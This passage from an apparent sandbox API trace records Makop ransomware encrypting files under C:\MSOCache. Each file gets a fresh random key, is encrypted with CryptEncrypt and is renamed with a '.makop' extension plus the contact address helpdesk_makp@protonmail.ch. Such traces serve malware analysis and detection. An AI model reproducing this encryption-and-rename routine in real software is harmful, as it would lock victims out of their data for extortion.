lpOverlapped=0x0) returned 1 [0071.906] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0071.906] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0071.906] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.907] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x32b, lpNumberOfBytesRead=0x6579534, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6579534*=0x32b, lpOverlapped=0x0) returned 1 [0071.907] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6579510*=0x330, dwBufLen=0x330 | out: pbData=0x6370020*, pdwDataLen=0x6579510*=0x330) returned 1 [0071.907] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.907] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6579528*=0x330, lpOverlapped=0x0) returned 1 [0071.907] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0071.907] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x404, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.908] SetEndOfFile (hFile=0x124) returned 1 [0071.915] GetProcessHeap () returned 0x48a0000 [0071.915] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0071.915] GetProcessHeap () returned 0x48a0000 [0071.915] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0071.915] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 122 [0071.915] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0071.921] CloseHandle (hObject=0x124) returned 1 [0071.922] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0071.922] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0071.922] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0071.922] GetProcessHeap () returned 0x48a0000 [0071.923] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0071.923] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0071.923] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579548 | out: lpNewFilePointer=0x0) returned 1 [0071.923] WriteFile (in: hFile=0x124, lpBuffer=0x6579558*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579558*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0071.961] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0071.961] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0071.961] GetProcessHeap () returned 0x48a0000 [0071.961] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0071.962] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x6579510*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x6579510*=0x30) returned 1 [0071.962] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0071.962] WriteFile (in: hFile=0x124, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x6579528*=0x30, lpOverlapped=0x0) returned 1 [0071.962] WriteFile (in: hFile=0x124, lpBuffer=0x6579530*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579530*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0071.962] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579528*=0x10, lpOverlapped=0x0) returned 1 [0071.962] WriteFile (in: hFile=0x124, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6579528*=0x80, lpOverlapped=0x0) returned 1 [0071.962] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0071.963] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0071.963] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0071.963] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0071.963] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.963] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x16fc, lpNumberOfBytesRead=0x6579534, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6579534*=0x16fc, lpOverlapped=0x0) returned 1 [0071.965] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6579510*=0x1700, dwBufLen=0x1700 | out: pbData=0x6370020*, pdwDataLen=0x6579510*=0x1700) returned 1 [0071.965] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.965] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1700, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6579528*=0x1700, lpOverlapped=0x0) returned 1 [0071.965] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0071.965] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x17c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.966] SetEndOfFile (hFile=0x124) returned 1 [0071.971] GetProcessHeap () returned 0x48a0000 [0071.971] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0071.971] GetProcessHeap () returned 0x48a0000 [0071.971] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0071.971] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 119 [0071.972] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0071.972] CloseHandle (hObject=0x124) returned 1 [0071.973] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0071.973] FindClose (in: hFindFile=0x48c70a8 | out: hFindFile=0x48c70a8) returned 1 [0071.973] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc3e6570, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc3e6570, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0043-0409-1000-0000000FF1CE}-C", cAlternateFileName="{95310~1")) returned 1 [0071.973] wsprintfW (in: param_1=0x657c270, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C") returned 62 [0071.973] wsprintfW (in: param_1=0x65797f0, param_2="%s\\*.*" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\*.*") returned 66 [0071.973] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc3e6570, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc3e6570, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c70a8 [0072.012] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc3e6570, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc3e6570, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.012] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd5600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32MUI.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0072.012] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0072.012] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0072.013] GetProcessHeap () returned 0x48a0000 [0072.013] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0072.013] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0072.013] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579548 | out: lpNewFilePointer=0x0) returned 1 [0072.013] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0072.013] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0072.013] GetProcessHeap () returned 0x48a0000 [0072.013] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0072.013] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6579510*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6579510*=0x40) returned 1 [0072.014] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0072.014] WriteFile (in: hFile=0x124, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6579528*=0x40, lpOverlapped=0x0) returned 1 [0072.094] WriteFile (in: hFile=0x124, lpBuffer=0x6579530*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579530*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0072.094] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579528*=0x10, lpOverlapped=0x0) returned 1 [0072.094] WriteFile (in: hFile=0x124, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6579528*=0x80, lpOverlapped=0x0) returned 1 [0072.094] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0072.094] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0072.094] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0072.094] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0072.095] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.095] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0xd5600, lpNumberOfBytesRead=0x6579534, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6579534*=0xd5600, lpOverlapped=0x0) returned 1 [0072.122] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6579510*=0xd5600, dwBufLen=0xd5600 | out: pbData=0x6370020*, pdwDataLen=0x6579510*=0xd5600) returned 1 [0072.131] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.131] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xd5600, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6579528*=0xd5600, lpOverlapped=0x0) returned 1 [0072.137] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0072.137] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xd56d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.138] SetEndOfFile (hFile=0x124) returned 1 [0072.146] GetProcessHeap () returned 0x48a0000 [0072.146] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0072.146] GetProcessHeap () returned 0x48a0000 [0072.146] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0072.146] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 125 [0072.146] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0072.159] CloseHandle (hObject=0x124) returned 1 [0072.160] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x567, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32MUI.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0072.160] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0072.160] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0072.160] GetProcessHeap () returned 0x48a0000 [0072.160] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0072.161] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0072.161] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579548 | out: lpNewFilePointer=0x0) returned 1 [0072.161] WriteFile (in: hFile=0x124, lpBuffer=0x6579558*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579558*, lpNumberOfBytesWritten=0x6579528*=0x9, lpOverlapped=0x0) returned 1 [0072.247] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0072.247] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0072.247] GetProcessHeap () returned 0x48a0000 [0072.248] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0072.248] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6579510*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6579510*=0x40) returned 1 [0072.248] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0072.248] WriteFile (in: hFile=0x124, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6579528*=0x40, lpOverlapped=0x0) returned 1 [0072.248] WriteFile (in: hFile=0x124, lpBuffer=0x6579530*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579530*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0072.248] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579528*=0x10, lpOverlapped=0x0) returned 1 [0072.248] WriteFile (in: hFile=0x124, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6579528*=0x80, lpOverlapped=0x0) returned 1 [0072.249] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0072.249] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0072.249] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0072.249] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0072.249] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.249] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x567, lpNumberOfBytesRead=0x6579534, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6579534*=0x567, lpOverlapped=0x0) returned 1 [0072.249] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6579510*=0x570, dwBufLen=0x570 | out: pbData=0x6370020*, pdwDataLen=0x6579510*=0x570) returned 1 [0072.249] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.249] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6579528*=0x570, lpOverlapped=0x0) returned 1 [0072.250] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0072.250] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x644, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.250] SetEndOfFile (hFile=0x124) returned 1 [0072.256] GetProcessHeap () returned 0x48a0000 [0072.256] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0072.256] GetProcessHeap () returned 0x48a0000 [0072.256] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0072.256] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 125 [0072.256] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0072.261] CloseHandle (hObject=0x124) returned 1 [0072.261] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc301560, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2cb13b, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW32LR.cab", cAlternateFileName="")) returned 1 [0072.261] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All 